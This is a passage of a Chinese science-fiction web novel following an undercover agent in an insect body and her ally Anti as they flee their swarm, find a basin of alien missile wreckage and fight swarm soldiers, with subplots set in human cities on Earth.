空间被粉碎,恩基重新化作人形,面色有些难看地看着眼前的一切,原来掌握的一切都分崩离析,是这种悲伤而愤怒的感觉。
安提环视众虫一圈,面上浮现畅快的笑意,
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“我的姐妹啊,我的仇敌,今时不同昨日,向我挥起武器吧,因我而起的风暴中,活一个也不可以。”
阿努们的眼神纷纷变了,她们看着安提,看着她怀中抱着的昏死过去的陌生阿努,似乎逐渐意识到什么,眼里不约而同出现强烈的杀意,开始一步步向安提逼去。
“停住吧,孩子们。”恩基抬手拦住阿努们,她上前几步,面色凝重地看着安提,“你背叛了虫群。”
安提笑了笑,她一只抱住祝吟辰,一手拦在身前,削铁如泥的肘镰锋芒处,流动着奇异的金色流光。
她直视着恩基的眼睛,眼神中已经毫无以往的恭敬和遵从。
“我,即是虫群。”
恩基闭上眼睛,放下手,不再阻拦。
阿努们见状,一齐向安提冲去。
无数攻击雨点般袭来,一抹毒液迎面袭来,安提刚闪身躲过,腰腹下就劈下一记膝踢,她抬手接住,用力扔开,下一秒喉颈就迎来凶狠的一击……
必须想办法逃出去!安提心想,耳畔祝吟辰的呼吸声越来越微弱,阿努们的攻击却越来越凶恶。
还没来得及想出有效的办法,几条丝线蓦地出现,直冲她的心脏,安提心中一惊,险险地躲开,更多的丝线劈头冲来,与此同时,无数攻击也将在下一秒袭来——
突如其来的光亮炸裂开来,阿努们眼前爆开明亮的一团,纷纷连忙遮住眼睛,从指尖缝隙里艰难地看安提的方位,地面摇晃了几下,周边的菌落颤抖起来,以可怕的速度开始生长,散发出的荧光和五彩斑斓的孢子困住了整个菌落基地,如同一枚流光溢彩的宝石。
四处蔓延的菌丝缠住手脚,仿佛极度渴望更多的营养般,开始爬上身体,阿努们慌乱了一瞬,互相看了一眼,都赶紧互相帮助扯掉身上的菌落。
恩基扒掉身上的菌落,眼见安提和她的小阿努已经跑到了洞口,一咬牙,化作一滩黑水,正要向安提追杀去,却听见耳畔传来一声惨叫,她惊诧地回头,几个较年轻的阿努被铺天盖地的菌落淹没,一只手扒住地面,拼命地挣扎着。
恩基犹豫了一秒,叹了口气,果断转过身,开始帮助自己的下属们处理菌落。
……
这场灾难一直持续到天明,菌群处理好所有的损失和疗愈安排花了足足三个夜潮,阿努们齐心协力,互相帮助着度过了这一场劫难,与此同时,她们的心中不约而同地沉重了许多——她们的姐妹,安提,将是她们今后你死我生的仇敌。
这一场背叛,伤痛般铭刻在每个菌群阿努的心中,也使得她们更坚强地做好未来战斗的准备。
恩基站在菌群的大厅中,她活了这么久,第一次感到如此疲惫和悲伤,身边的阿努们来来往往,搬运着伤员和过剩的菌落,她抬头望去,新的夜潮已起,冬风阵阵刮过,死亡的季节来临了,虫群将要休眠,等待下一轮新的生机到来。
似乎感应到恩基的想法,周围的阿努们陆陆续续地停了下来,她们看着恩基,等待她的决断。
恩基久久地凝望着空中那轮红色的,终于,她闭上眼睛,口中默诵几句,刹那,安提和祝吟辰逃出菌群的信号传遍了整个虫群,每个阿努的触角微动几下,隐隐约约感受到那张熟悉的脸,那双银白如雪的眼睛,记住恩基给出的她们的信息素。
黑暗之中,死水般沉寂诡异的氛围重新骚动起来,不安的气息在未知古老的幽深中弥漫;金色的沙海圣地,伊南娜居高临下地伫立在尸山血海中,傲慢地放声狂笑起来;深渊之下的冥土,寒潮涌起阵阵排山倒海的潮汐,埃勒伽发出滔天的怒吼,冰山连起涨落,似乎要把天际红色的一轮撞落下来,熄灭在这片禁忌之地。
新的虫母诞生了。
21. 寒潮将至,冰川危影近
眼前忽明忽暗晃过斑驳光影,祝吟辰睁开眼,慢慢坐起身,她环顾四周,这里是一处狭小的山洞,通道极窄,离洞口约五六步距离,照进来的光线仅够照亮她刚刚睡着的那一小块地方。
她站起身,向洞口外走去,渐渐感到风中萧瑟的寒意,这里是一片树林,周边枯黄的草木稀稀疏疏地错落着,几个高大灌木丛遮掩住洞口附近,从枝丫缝隙间望去,天色渐显出些霜青的颜色,脚边的土壤有些湿润,似乎前段时间刚下过雨。
“安提?”
祝吟辰试着喊了一声,四处张望,没有回应。
附近看起来没有打斗的痕迹,大概是狩猎去了吧,这里看起来还没布置好,厨具、干草……什么也没有。
祝吟辰打定主意,要先整理一下这里,再弄点取火和保暖的干草来,她走了两步,突然发现自己的左边轻飘飘的,不太协调,才回过神来——好像要先把左臂生长出来。
那就一件件慢慢来吧……
天际浮起一抹深红的时候,树林隐约的脚步声响起,祝吟辰放下木材,看向来者的方向——是安提,怀里抱着果子,手里提着不认识的、看起来很肥的猎物,向她走来。
“你是打算生火吗?”安提笑了笑,放下果子和猎物,仔仔细细地看祝吟辰的左臂。
“嗯,冬天要来了。”祝吟辰回答道,她也认真地打量着安提。
安提身上好像没有什么伤,这些天,恩基把她关在了哪里?
祝吟辰问出她的疑惑,安提松开手,一屁股坐在地上,边啃果子边说:“恩基把我藏在附近的一个小菌群地下,每天来劝我不要让她担心,留下才是聪明事。”
祝吟辰也坐到安提身边,问道:“那你答应了吗?”
“我拒绝一遍又一遍,知道寒潮将至,她将奔波四处忙,我要找机会逃出去。”
“然后呢?”
“趁她一连休息好几个夜潮,我知道是时候动手,打晕守门的阿努跑出去。”安提突然转过头,抱住祝吟辰,“我猜想恩基把你藏在另一个地方,接连找了几个菌群,幸好危急关头找到你。”
祝吟辰也回抱过去,两虫紧紧相拥,这么多天的分离,幸好她们都还活着。
只要活着,未来就还有希望。
祝吟辰突然想起什么,她松开手,微微皱起眉头,“我们现在是不是暴露在整个虫群面前了?”
“是的。”
“那我们今后怎么办,去哪里?”
安提突然陷入了沉默,她微微皱起眉头,一副犹豫不决的样子,似乎在衡量某个决定。
祝吟辰见状,知道安提还没决定好下一步具体的打算,于是拍着安提的肩膀安慰道:“没事,不急着考虑这些,我们先准备过冬吧,就像你说过的,未来还长,糟糕的事情总会到来。”
她自己说过的话,应该能安慰到她自己吧……
安提笑起来,她站起身,振作精神伸了个懒腰,似乎真的鼓起一种放手一搏的勇气似的,拍拍祝吟辰的肩膀,“我们一起把这里打扫一下吧,然后吃你用火烤的肉。”
……
联合城邦,大学城西侧。
凌风怀中抱着一沓资料,站在办公室外,他深呼吸几口气,轻轻敲了敲门。
“请进。”
凌风打开门,一个留着短发,衣着得体的中年女人坐在办公桌前,慈祥地看着他,眼神里似乎在询问他的来意。
“您好,安教授,我叫凌风,是西区海洋生物特研第二小组的组长,这个学期刚入校。”凌风向前几步,将怀中资料奉上,语气中充满尊敬,“这是我的申请,我想申请加入您下半年无人区的调研小组,我擅长……”
凌风紧张地说了一大堆,安之恒始终微笑着认真聆听,脸上没有一点不耐烦的样子,等到凌风说完了,她接过申请,点点头,“我知道了,凌风同学,你的申请我会考虑,你先回去吧。”
“谢谢老师!”凌风关上门,忍不住松了口气。
“你应该说,谢谢教授——”
凌风吓了一跳,他环顾四周,陈立新靠在楼梯拐角旁,斜着眼看他,故意把最后一个字的声音拖得很长。
凌风叹了口气,好像每次陈立新出现,他不是正在出糗,就是已经出糗。
至少希望那一天她千万不要出现……
他心中暗暗祈祷,走过去开口问道:“你在这里干嘛?”
“跟踪你私下向教授递申请,准备向你们小组的人揭发举报你。”
什么?!不要啊!凌风瞳孔地震,绝望在心中升起,慌忙冲到陈立新身边,试图求饶:“我不是故意的,安教授的申请是在北海附近,正好是我一直在研究的的课题,但是我缺少样本……”
“原来是这样,”陈立新故作高深地点点头,表示理解,“好吧,我放过你了。”
“真的吗?”
“真的。”陈立新推开凌风,走向实验室,敲了敲门,转头看见凌风充满疑惑和不信任的眼神,叹口气,做出发誓的动作,凌风才将信将疑地离去。
“请进。”
“教授好。”陈立新推门而入,“您要的资料在这里。”
“谢谢小陈了,你们这些年轻人,一个比一个有能力了。”
“没事,听说您下半年要准备去无人区了?”
“是啊,呵呵。”
陈立新微皱起眉头,她四处张望,似乎没看到监控,安之恒察觉她的意思,微笑着看她,陈立新放心下来,低声说道:“那要不要给您配备几个自己人的保镖?奕长官手底下还有几个闲人。”
安之恒摇摇头,“不用了,奕川已经帮我准备好了,你们两个真是一样细心,又很可靠。”
陈立新点点头,AGPC的那帮人绝对想不到,他们眼里所谓“年轻人的时髦玩意儿”就是眼前的这个人一手打造起来的,红派的首领,安之恒,现任联合城邦上邦A2区大学城海洋生命学院教授,无人区特遣部队北海地区常驻顾问,AGPC星际生命研究院成员之一,在上邦享誉众多,但为人行事非常低调,在民间的知名度不高。
没有人知道安之恒是出于什么原因和契机组织了红派,她虽然率先收服了红派最初的几个成员,但是实际上很少参与红派的内部事务,基本上都交由奕川和齐争青两人打理,平时总是忙于学术研究和实地探测,因此除了骨干成员外,红派中的很多成员都不知道首领是谁。
陈立新百无聊赖地找了把椅子躺下,等安之恒传输好资料,她随手拿起一本书,随便翻了几下,问道:“教授,您为什么会对海洋感兴趣呢?”
安之恒听到这话,脸上的微笑中似乎多了几丝忧愁和遗憾,就像那些讲起过往故事就会惆怅地叹气的老人,她一边传输资料,一边慢慢讲起她和海洋相遇的最初的故事。
……
三天后,上邦A1区虚拟海洋馆。
“好看吗?”凌风牵着阿图特的手,带着她穿过虚拟海洋馆的走廊
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,她看游来游去的鱼,他看她的眼睛。
他特意选了周一带她来这里,现在海洋馆里人很少,慢慢的走,可以看到地面上、天花板上和两边玻璃外都畅游着五彩斑斓的3D虚拟鱼群,黑暗走廊中,蓝调的灯光流动着,整个世界沉入蓝色的海底,水流的声音传来,似乎他们真的在水中逐流。
阿图特点了点头,凌风给她找了人类的冬衣穿上,严严实实地包裹着,几乎只露出眼睛,外表看上去跟普通的人类少女别无二致。
她几乎走不动路,每走一步就要看很久很久,触碰玻璃,感应到游客的触碰,鱼群亲吻她的指尖互动,她凝视着,却好像望到了很远很远的地方。
凌风笑了笑,整理好阿图特翘起的一缕头发,一人一虫就这样慢慢的走。
快近傍晚时分,海洋馆里人逐渐多了起来,两人看得差不多了,凌风护在阿图特身前,牵着她走出海洋馆。
街边已经热热闹闹地开起了夜市,暖色街灯一盏接一盏照亮,食物的香气远远传来,阿图特精神一振,从刚才对海洋的迷思中回过神,她拉拉凌风的衣袖,左手指向附近一家排成长队的卤肉店,右手指向另一家摊子上挂着的的烤鸡,左右开弓,大有饕餮之势。
凌风看着她这幅模样,心中只觉可爱,他宠溺地点了点头,说一声“你去旁边的椅子那里休息一下,我马上回来”,便去排队。
阿图特坐在椅子上,看着身边的人群来来往往,大都是笑着的,她看着他们的表情,也不知道为什么要去看,只是她从那笑容里渐看出一种渴望,一种自己心底的渴望——希望自己能像他们一样真心地感到安心和快乐。
她看见他们都牵着手,不然就是相互挽着,再不然就是像祝吟辰和奕川那样,说说笑笑的,气氛很融洽,但她似乎做不到这样的事,向陈立新微笑表达谢意时,向凌风主动牵起手时,她好像隔着一块无形的屏障向她们招手,双方之间看似已经非常亲密和友好了,实则隔着一条无法逾越的隔阂,她做不到将心交给他者。
能够让她全心全意去信任的,在哪里?
她望向遥远的天际,她的母星在哪个方向呢?
她不知道同族长什么样子,用怎样的方式互相交流,平时的工作是什么,她只记得初生的那一刻,天地是浑圆的宇宙,一团温暖的液体将她轻轻包裹,她似乎也是融化的,在一团小小的、柔软的光晕中缓慢地流淌、旋转。
大海是一枚巨大的卵,潜入其中,可以找到和她一样孤单的生命吗?
“阿图特,给。”凌风气喘吁吁地赶来,将卤猪蹄烤鸡冰淇淋奶茶虾滑一并奉上,阿图特回过神来,赶紧接过,一人一虫就近租了张桌椅,痛痛快快吃起来。
吃着吃着,阿图特停下动作,认真地看着凌风,说道:“凌风,我想去真正的海边。”
凌风心中一惊,他抬起头,看见阿图特那双美丽的、光华流转的眼睛,好像宇宙中最瑰丽的宝石,她第一次用这种诚恳热切的眼神看着自己。
但这件事不容易,蓝星的海洋已经被严重污染,无人区更是充满未知的危险,凌风也没有能说服奕川让他带着阿图特离开联合城邦的信心,他犹豫着开口:“可是蓝星上的海洋很危险……”
“不要害怕!”阿图特突然凑近凌风,抓住凌风的手,认真严肃地说道:“我会保护你!”
凌风的耳根倏地红了,他偏过头,想了想,最终还是下定决心点了点头。
“好吧,我想想办法。”
22. 它们曾经来过
天色亮得晃眼,这是一天当中最温暖的时候。祝吟辰睁开眼睛,看了看旁边,安提已经出门觅食了。
她走到洞外,伸了个懒腰,准备洗漱。
这段时间因为祝吟辰的身体消耗过大,需要更多的休息,她总是正午出门,傍晚休息,安提起得更早些,但会尽量保持和祝吟辰一样的时间睡觉,毕竟两个虫一起睡觉的话,洞里会更暖和一些。
祝吟辰洗漱好的时候,安提正好回来了,她们照常合作,一个砍材生火,另一个把肉切好洗好。
安提蹲在火堆边烤火,身体很快暖和起来,她懒洋洋地眯起眼睛问道:“你是怎么想出这样的过冬方式的?”
……其实我还想给我们做几件衣服保暖来着。祝吟辰切着肉,心中默默想道,嘴上却打着哈哈回应:“你知道的,我很聪明。”
安提笑了笑,捡了根树枝扒拉柴火,她沉默了一会儿,决定说出心中考虑已久的决定:“伊塔,我们去冥土。”
祝吟辰没停下手里的活,对于安提的决定她一点也不意外,安提已经完成喰偶,下一步就是找到安全的栖息地。
只不过,把栖息地选址决定在冥土,还是让她心中有一点担忧。
“我们都知道冥土很危险,为什么还要去那边?”
“趁着寒潮将临近,虫群活动将暂息,我要杀死埃勒伽,将她的领土占领。”
祝吟辰吃惊地睁大眼睛,猛地抬起头,看见安提坚定的神情,知道对方心意已决,沉默了一会儿,开口道:“那我们一会就准备收拾行李。”
“好。”
……
下一个天光和暖之时,她们精神抖擞地出发了,穿过树林,视野骤然开阔,乳白色天空下是一片金黄草海的平原,风吹过,无数草叶翻飞的、哗啦啦的声音远远传来。
这里的草约膝盖高,祝吟辰拈起一片草叶,上面已经渐有了些枯黄的腐烂痕迹,脚下的泥土湿润,这段时间总是时不时下起小雨。
希望在下起小雪之前,她们可以赶到冥土。
一路向北,这片平原上白天看起来似乎没有什么生物活动的痕迹,但当夜晚来临的时候,无数荧光就会从土壤里浮起,飘离在这片广阔的、风吹沙沙响的金色海洋中。
祝吟辰和安提在附近找不到洞穴居住,就会围一个小圈,把里面的草叶铺平垫在身下,躲在这里度过寒冷的夜潮。
快行至平原边界,祝吟辰突然远远望见前方与树林的边界处有一个粉色的小点,一动不动。
她拍了拍安提,示意对方注意,两虫交换了一个眼神,放慢脚步,向粉色小点的方向接近。距离越来越近,她们渐看清了——是一个重伤在身的拉姆,面孔朝下,奄奄一息地趴在树林口的一堆草木乱石上,身边散乱着几块腐烂的肉,看起来是在运输食物的过程中被某种生物袭击了。
祝吟辰蹲在拉姆身边,试探对方的鼻息,还有一丝微弱的动静,她转过头,看了看那堆腐烂的肉,看来这拉姆已经困在这里很久了,难得她还活着。
祝吟辰站起身,心中浮起一丝犹豫,要救这只拉姆吗?
但论她们现在的立场,虫群已经是她们的敌人了,这只拉姆自然也是。
她看了看安提,安提只是淡淡地看了一眼地上的拉姆,然后转身进入树林,又停下脚步回头看着她,似乎在等她跟上来。
祝吟辰站在原地没动,她凝视着拉姆的脑袋,顶上开了个大缝,黑的红的从里面流出来,一双眼睛紧紧闭着。
她看向安提:“我们不救她吗?她快死了。”
安提微笑,她看着祝吟辰的眼睛,好像比祝吟辰还看得清她自己的心似的,说道:“伊塔,你要做的,尽可去做吧。”
祝吟辰犹豫了一会儿,慢慢扶起地上的拉姆,肩膀支撑住她的身体,说道:“好吧,我们把她送到附近有阿努经过的地方就走,今后双方开战,也不用留情了。”
祝吟辰扶着拉姆,走进树林站定,静下心用触角探嗅附近阿努的气息,前方东北方向似乎有很浓烈的气息,但感觉没有什么攻击性,应该是拉姆小队们临时存放食物和建材的地方。
她向东北方向走去,安提跟在她身后。
树林稀疏,但植被高大,身子渐渐暖和许多,祝吟辰走了约十分钟左右,望见前方有一块空旷的平地,平地上有一个奇怪的巨大“石碑”立着,一些拉姆聚在那里,正在拆解运走那块石碑。
就放在前面吧,祝吟辰心想道,她往前又走了十步,却感觉那块“石碑”越来越眼熟,流线型光滑的白色外观,中间镀上一圈金属的光泽,尾部斜插着一片三角形状的金属……
祝吟辰停下脚步,怀疑着脑海里呼之欲出的结论——导弹?
可是星际特工局从未向阿努特纳星发射过任何武器!
她额头冒出一层冷汗,回头看了一眼安提,对方蹲在地上,百无聊赖地拔着地上的草,察觉祝吟辰的目光,茫然地看过来。祝吟辰眼神微动,说道:“安提,我想进去看看。”
安提站起身,走到祝吟辰身边,“怎么了吗?”
“里面有个奇怪的东西,我很好奇。”
“那好吧。”安提走到祝吟辰身边,带着她走进平地中,周围的拉姆看见她们,眼神中闪过一丝惊讶,她们互相看了看,都没有什么动作,祝吟辰将拉姆轻轻放在地上,几个拉姆跑过来,将她抬走。
拉姆们继续各自忙各自的事,她们没有战斗的职责,身上的铠甲没有利于战斗的结构,所以并不对祝吟辰和安提动手,只要等大颚们来这里巡视的时候,告诉大颚们她们来过这边就行了。
安提早就知道拉姆们不会理她们,她四处走了一圈,开始偷吃拉姆们整理堆放的果子,惹得一旁负责装果子的拉姆幽怨的眼神。
祝吟辰走近那块“石碑”,和她猜的差不多,看上去确实是一枚导弹,但尾部没有脱离,大概内部的发动机和系统不知何种原因坏掉了,使得这导弹没有成功爆开,落在这里。
祝吟辰围着导弹走了一圈,导弹表面写着几个类似人类文字的字符,说是类似,是因为她尝试去理解它,却发现这根本不是人类的文字!
她试图刷新翻译系统进行理解,然而翻译系统只提示错误。
祝吟辰心中突然闪过一个想法,难道这是AGPC科技管理局内部自研的密码文字吗?AGPC是否在派遣她行动之前就已经尝试过远程武力打击?
心中的疑云越来越重,她想了想,看看身边的拉姆们,将手覆
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上导弹外表,正要爬上去看看尾部,却发觉几个拉姆震惊地看着自己,好像看见什么可怕的事情似的。
“呃,怎么了吗?”
一个拉姆犹豫着说道:“你不怕这东西吗?”
“啊?”祝吟辰莫名其妙地看了一眼导弹和说话的拉姆,“呃,没事,这东西好像坏了……”
“伊塔,过来。”安提突然严肃地站起来,将祝吟辰一把拉过来,警惕地看着眼前的“石碑”。
祝吟辰只好跟着退后几步,“怎么了吗——”
突然,她愣住了,只见周边平地前方的树林里,地面上插着几个同样的“石碑”,五个、八个、十个……越来越多,一直蔓延到深处的树林里去。
祝吟辰的脑海顿时一片空白,她沿着“石碑”的路线一路走过去。
树林外是一个几千米高的悬崖,她走到悬崖边上,向底下望去,看见眼前这地狱般的景象时,身体忍不住微微颤抖起来。
悬崖下是庞大辽阔的盆地,盆地中央插着一座高耸入云的巨大“石碑”,刀锋般屹立着,将地表劈裂开深深的沟壑,地面遍布碎裂的山石,焦黑的土地上,一片死寂,密密麻麻地分布着大小不一的“石碑”,一眼望去,无边无际。
这不是人类能造出来的东西。祝吟辰望着这片死亡的黑色墓地,一种渺远的震撼久久地在心中回荡。
难道在人类之外,还有别的文明也尝试过踏足这颗星球吗?
“伊塔,”安提走过来拉住祝吟辰,“下面有不好的东西,不要再过去了。”
祝吟辰回过神来,问道:“这些是什么东西?它们是什么时候在这里的?”
“不知道,我诞生的时候,这些白柱就在这里了。”
“白柱?”
安提指了指盆地中的“石碑“们,说道:“就是这些白色的柱子,若是呆在它们附近过久,身体就会逐渐腐烂融化掉,所幸拉姆会定期过来处理它们。”
祝吟辰心中一阵后怕,这症状恐怕是辐射污染的后果,看来这些导弹大多已经爆破过了,只是刚才平地的那一枚意外没有爆破,所以拉姆们才敢在附近活动。
因此面对不知情还敢上手的祝吟辰,她们才会做出刚才的举动,对她如此年轻鲁莽的举动感到惊讶吧。
安提有些尴尬地偏过头,这样重要的事情她应该早点告诉祝吟辰的,幸好没发生什么事。
祝吟辰缓过神,决定暂时先记下这件事,现在还是赶路要紧,她拍了拍安提的肩膀,“好了,我们走吧。”
……
返回安全的平地,她们继续向北方走去。
穿过这片树林,前方是一片刀刃般陡峭的峭壁,险险擦着白柱盆地的一段边界,一直通向北方的雪原中去。
这里风势很大,一阵阵狂啸着刮过,时不时有石块被吹落到旁边几千米深的白柱盆地中。
安提打在前头,带着祝吟辰小心翼翼地走过。
到了峭壁的尽头,她们松了一口气,祝吟辰望向底下的白柱盆地,这个角度可以看到中央的那座石碑身上的字符,一串字符中只能看懂其中一个类似甲骨文的“日”字的符号。
简单来说,就是一个圆。
那个圆,代表着什么呢?
23. 渐见雪色,纷争的启兆
到达雪原边界,祝吟辰和安提进入附近的森林,如往常一样找了个洞穴,砍下一些树枝覆盖在洞口保暖,又找了些干草铺在洞里。
她们打算先停下脚步,在这里休息两个夜潮,一来适应一下这里的气候,二来祝吟辰的身体又开始不舒服了,最好先在这里休息一下。
其实是祝吟辰要回溯了。
夜潮即将来临,祝吟辰把火堆熄灭,用还没用过的干树枝把木炭覆盖住,她站起身,打算在睡前巡视一下四周。
这里是雪原前沿,因此还不算太寒冷,放眼眺望去,前方的大片地区已经皑皑白雪覆盖,宛若一幅银白色的画卷,但这里还很干燥,只夜潮时偶尔下一点小雪,天不亮就消融化去了。
天空边界沉下一抹暗色,那血红的一轮慢慢升起,周边的景象慢慢覆上一层血红颜色。
祝吟辰没发现什么可疑的痕迹,转身回到洞穴里去了。
安提还没睡,强撑着延长自己醒着的时间,祝吟辰坐到安提身边,轻轻拍拍肩膀,安慰她不用勉强,可以睡觉了。
作为虫族,寒潮的影响还是不可避免地在她们身上起了作用,安提发现自己醒着的时间越来越短后,开始强迫自己更早起、更晚睡,以做好对抗埃勒伽的准备。
祝吟辰闭上眼睛,意识开始上升,身体向下坠落去,回溯开始……
回到蓝星后,祝吟辰照常到联合会议室作报告,十二主席得知她和目标对象已经暴露在整个虫群中后,都纷纷露出了复杂的神色。
杨威率先发言,神情严肃,“计划照常推进,很不错,但总部希望你可以有更多的把握帮助目标对象顺利引出虫母。”
“我们已经在着手准备进攻其中一个虫族首领的领地,相信虫母会考虑是否现身。”
听到这话,几个主席放下心来,周明突然问道:“祝少校,你目前掌握了虫母的多少资料?”
“很抱歉,目前这方面还没有任何收获。”
“为什么?”
“当我试图向目标对象询问关于虫母的信息时,系统就会突然断连,我自己也会陷入暂时的昏迷。”
“荒唐……”
总指挥赶紧出来打圆场,“我们目前对阿努特纳星的了解还不够,不排除这是当地特殊磁场的问题,目前的任务目标依然是帮助目标对象成长,这个虫母就先暂时放下吧。”
白银坐在一旁听他们讲了半天,听懂了七七八八,此时也发声道:“没错,总之这个任务照常进行就好,至于那个系统,让科技管理局去检查升级一下应该就可以了吧。”
说着说着,白银看向袁立,后者下意识看了一眼沉着脸的周明,默默点了点头,含糊其辞道:“我找个时间派人去处理。”
“好了,今天大致就到这里,祝少校,你还有什么别的情报要报告吗?”杨威发声打断了众人间的暗流汹涌,他看向祝吟辰。
祝吟辰想起那片死亡的白柱盆地,心中犹豫了一下,决定先暂时向总部隐瞒这份情报。
“没有了。”
……
被执行人员送回家中后,祝吟辰看了一下时间,距离意识系统重启还有三个小时,她决定先去找奕川通个消息,再回到阿努特纳星补觉。
一路开车到熟悉的小公寓,祝吟辰有节奏地敲了三下门,门开了,是奕川,她果然在这里等她。
“听说你成功逃出去了,任务得以继续,恭喜。”奕川微笑着伸出手表示祝贺,祝吟辰也会心一笑,伸出手说道:“坚持就是胜利。”
祝吟辰走进门,阿图特的房门紧闭着,陈立新和凌风都不在。
奕川沏了壶茶,祝吟辰坐到沙发上,对奕川说了她和安提准备前往冥土和白柱盆地的事,听着听着,奕川眉头微皱,她若有所思地喝了口茶:“我在情报处工作了这么多年,从来没听说AGPC有签署通过如此威力的武器投入使用,何况你说的那块“石碑”体积太过庞大,人类目前还没造出过这种和一座山一样大的武器,我想,那大概真的是其他文明的造物吧。”
“阿努特纳星目前还没有外来战争的迹象,目标对象也说她出生前那些东西就已经在那里了,我猜,很久以前确实有别的文明想要征服阿努特纳星,但就现在虫族的生存状况来看,这场入侵的结局应该是失败。”
“你打算追踪一下这方面的信息吗?我认为这与我们的计划无关。”
“不,我不打算花费多余的精力去研究它,只不过……”祝吟辰摇摇头,眼底露出几分不安和困惑,“我在上面发现了类似人类文字的符号。”
奕川惊讶地睁大眼睛,祝吟辰接着说道:“仔细想想,AGPC在派遣我行动之前,就已经派出了几个探测小队,但他们的任务除了公开的那些,是否还有隐瞒的部分,我很担心。”
奕川放下杯子,沉重地点了点头,“这个信息很重要,我们会派人去调查。”
祝吟辰看了一眼时间,差不多该走了。她走到门边,奕川站起身,准备送祝吟辰,祝吟辰笑着摇了摇头,“不必了,每次都由你送过去,有些太显眼了。”
“好吧,一路顺风。”
祝吟辰走到停车场,打开车门,启动自动驾驶模式,拨通了一个电话,电话响了几声,立马就接通了,对方激动的声音响起:“祝少校,您还记得我!”
祝吟辰笑了笑,“当然,我听说你现在在北海工作,最近怎么样?”
“我很好!同事们都很照顾我,您呢,最近怎么样?在AGPC过得还好吗?”
“挺好的,交接的任务进展得很顺利,”祝吟辰笑了笑,“你过得好我就放心了,我想请你帮我打听一下萧衍身边的一个女孩,名字是屠一鸿。”
“您放心,包在我身上!”
“谢谢。”
祝吟辰挂断电话,时间差不多刚好,她进入生化实验室,在实验人员的帮助下连接好装置,开始回溯。
……
安安稳稳睡了一觉后,祝吟辰睁开眼睛,如常看了一眼旁边,安提果然已经出门了。
祝吟辰正要起身,
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也准备做些日常的事,空气中却传来几股异常的气息。
她停下脚步,轻轻蹲下,屏息凝神,从洞口遮掩的枝桠间小心翼翼地向外观察。
几个庞大黑色身影在洞口外走来走去,似乎是在寻找祝吟辰的气息来处,祝吟辰看到地面上宛若利斧劈斩过的深刻的痕迹,不耐烦甩来甩去的毒针,三双黑色眼睛下的——是大颚!
看来是那帮拉姆告的状,祝吟辰额角流下一滴冷汗,她成虫到现在为止,从未与大颚交手过,在与她们第一次打照面的时候,她就感到一种死亡的恐惧,如今自己的成长能否战胜她们,她自问没有多少把握。
她默默数了数外面大颚的数量,一只,两只……五只。
看来她无论如何必须从这里逃出去了,要提前在这附近释放出危险的信号,免得一会安提回来后,与这群大颚正面交手。
只要可以全身而退就好了。
祝吟辰静下心等待时机,当一只大颚侧身从洞穴外遮掩的树枝外经过的时候,祝吟辰双爪交叉,猛地从洞中杀出,大颚停住脚步,冷冰冰地看了看自己身上铠甲被刮开几道浅浅的痕迹,又看向突然出现的目标,眼中出现残暴嗜血的杀意。
祝吟辰就地打了个滚儿,惊颚地看着大颚身上的嬉笑打闹一样无足轻重的痕迹,心中更沉重了几分,周围的大颚们听到动静,循声赶来,看见祝吟辰后,几条毒针高高地从天空鞭打下来,直冲祝吟辰的头颅!
祝吟辰闪身避让,但数量太多,小腿侧挨了一记血肉模糊,她忍住痛,一边愈合,一边转身全力向外逃去,大颚们迅速跟了上去。
地面因为大颚们的追杀震颤起来,周围的树林摇晃,惊起活动的各种生物四处逃窜。
逃到了树林出口附近,祝吟辰在一条树干上抹下一抹毒液,意在警告安提不要接近,这暂时停顿的动作被身后追逐的大颚捕捉住,双方身位顿时拉近了一大截,从天而降的毒针一下子劈碎了树干,又顺势向祝吟辰鞭去,在可怕毒针逼近头颅的一瞬间,来不及躲闪,她一咬牙,双手抓住那条毒针,整个身体顿时在惯性作用下飞了出去,狠狠撞击在周围树木上,树木拦腰截断,草木碎屑四溅,树林中响起巨大的轰鸣。
空气中弥漫着血腥的味道,大颚们将祝吟辰坠落的草木废墟包围起来,一个大颚上前查看,却只听见风中一声铮的微响,头部和身体之间连接的部分蓦地传来一阵剧痛,祝吟辰站在大颚头上,肘刃深深刺进这唯一的脆弱点,她一挥臂,割裂开这连结,血肉节日彩带般四溅开来,大颚发出一声凄厉的哀嚎,周围的大颚一拥而上,祝吟辰闪躲不及,一阵凌厉的刀风刮过,背后顿时被一对巨斧般的大颚劈裂开一道,血液喷溅,深可见骨。
感到胸中气血紊乱,她吐出一口血,忍着身体撕裂的剧痛,转身擒拿住身后大颚的角突,腾空跳起,狠狠踩住大颚的背部,大颚疯狂地摇晃起身子,带起混乱的风势,卷起地上无数落叶和沙尘,祝吟辰拼命稳住身体,趁着大颚们视野被干扰,跳起抓住空中的枝桠,向远处逃去。
24.踏向纷争出,告别旧时友
上邦A1区,萧家。
“少爷,我们到了。”
萧衍下车,拍了拍肩上的落雪,牵起屠一鸿的手,管家带着二人进入萧家的大门。
穿过富丽堂皇的走廊,进入华贵考究的大厅,一个佣人低着头走过来,对萧衍小声说了句什么,萧衍眼神微动,转头对屠一鸿嘱咐道:“你先在这里等我。”,屠一鸿点点头,佣人带着萧衍离开。
洛岚站在落地窗前,俯瞰着整个联合城邦,她已年过四十,但保养得很好,身着名贵的丝绸衣裙,体态雍容华贵。这就是萧家的女主人,萧衍的母亲。
门被轻轻叩响了几下,门外人似乎发觉了门并未关上,几声低语后,佣人的脚步声离去,萧衍推开门,恭恭敬敬地喊了一声“母亲”。
洛岚微笑着整理了一下儿子的大衣,眼神里满是慈爱,“你长大了,小时候还不到你二哥的肩头,现在已经是家里的顶梁柱了。”
“都是母亲教导有方。”
“呵呵,你们三兄弟真是让我骄傲。”
洛岚走到窗前,语气严肃起来:“你们的父亲不在了,如今萧家在联合城邦的势力散落了不少,不管是旁支还是其他家族都在觊觎着家族的生意,只不过畏惧于承担无人区的使命,才让你们大哥得以顺利到达上邦,稳稳当当地坐在十二主席的位置上。”
萧衍听到此话,顿时醍醐灌顶,感到家族如今命运悬浮,又想到自己对萧翎的怨言,心中不禁升起几分自责。
洛岚转过身,双手扶住萧衍的肩膀,“衍儿,你要回到无人区去,代替你大哥的位置,让你大哥和二哥可以安心在上邦发展,只有内外都有萧家的位置,别人才会放弃替代萧家席位的念头。”
她看着萧衍的眼睛,语气是萧衍从未听过的沉重:“你要继承你父亲的遗志,带领无人区守护整个联合城邦!”
萧衍下意识挺起胸膛,他第一次感觉到家族的责任是如此真切地担在自己肩上,自己的前途命运就是整个家族的前途命运,与以往可以仗着母亲宠溺而肆意妄为的处境不同,现在的他必须要作为一个顶天立地的男人去行动。
